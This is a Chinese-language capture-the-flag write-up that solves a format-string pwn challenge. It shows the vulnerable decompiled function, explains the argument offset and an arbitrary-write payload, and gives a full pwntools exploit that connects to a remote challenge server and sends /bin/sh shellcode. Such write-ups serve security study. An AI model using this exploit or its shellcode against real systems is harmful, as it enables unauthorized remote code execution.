## string

[collapse title="展开查看详情" status="false"]

考点：格式化字符串任意地址写小数

题目前面有几个条件循环绕过，反编译就能看出，不再赘述。看漏洞函数：

```
unsigned __int64 sub_400BB9()
{
    int v1; // [rsp+4h] [rbp-7Ch]
    __int64 v2; // [rsp+8h] [rbp-78h]
    char format; // [rsp+10h] [rbp-70h]
    unsigned __int64 v4; // [rsp+78h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    v2 = 0LL;
    puts("You travel a short distance east.That's odd, anyone disappear suddenly");
    puts(", what happend?! You just travel , and find another hole");
    puts("You recall, a big black hole will suckk you into it! Know what should you do?");
    puts("go into there(1), or leave(0)?:");
    _isoc99_scanf((__int64)"%d", (__int64)&v1);
    if ( v1 == 1 )
    {
        puts("A voice heard in your mind");
        puts(';Give me an address;');
        _isoc99_scanf((__int64)"%ld", (__int64)&v2);
        puts("And, you wish is:");
        _isoc99_scanf((__int64)"%s", (__int64)&format);
        puts("Your wish is")

;
        printf(&format, &format); // 格式化字符串漏洞
        puts("I hear it, I hear it...");
    }
    return __readfsqword(0x28u) ^ v4;
}
```

可控制的第一个参数是在 18 行，偏移为 7。这里利用方式有多种，利用偏移 7 和 8 控制任意写入，也可只利用偏移 8 任意输入。（exp 使用偏移 7 和 8）

修改 v3 值后，绕过最后一个障碍。然后写入一段 shellcode 即可。shellcraft 生成的没有效果，就去 <http://shell-storm.org/> 找了一个。

完整 exp：

```

from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",48602)
#p = process("./string")

p.recvuntil("secret[0] is ")
v3 = int(p.recvuntil(';\\n');,drop=True),16)
log.success("v3:"+hex(v3))

p.recvuntil("secret[1] is ")
v3_1 = int(p.recvuntil(';\\n');,drop=True),16)
log.success("v3_1:"+hex(v3_1))

#payload = "aaaaaaaa%p%p%p%p%p%p%p%p"
#offset = 7
payload = "%85c%7$n"

p.recvuntil("name")
p.sendline(';a';*0xc)

p.recvuntil("up?:")
p.sendline("east")

p.recvuntil("leave(0)?:")
p.sendline(str(1))

p.recvuntil("address")
p.sendline(str(v3))

p.recvuntil("is:")
p.sendline("%85c%7$n")

#shellcode = "\\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05"
shellcode = "\\x6a\\x42\\x58\\xfe\\xc4\\x48\\x99\\x52\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5e\\x49\\x89\\xd0\\x49\\x89\\xd2\\x0f\\x05"

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)

p.interactive()

```

[/collapse]
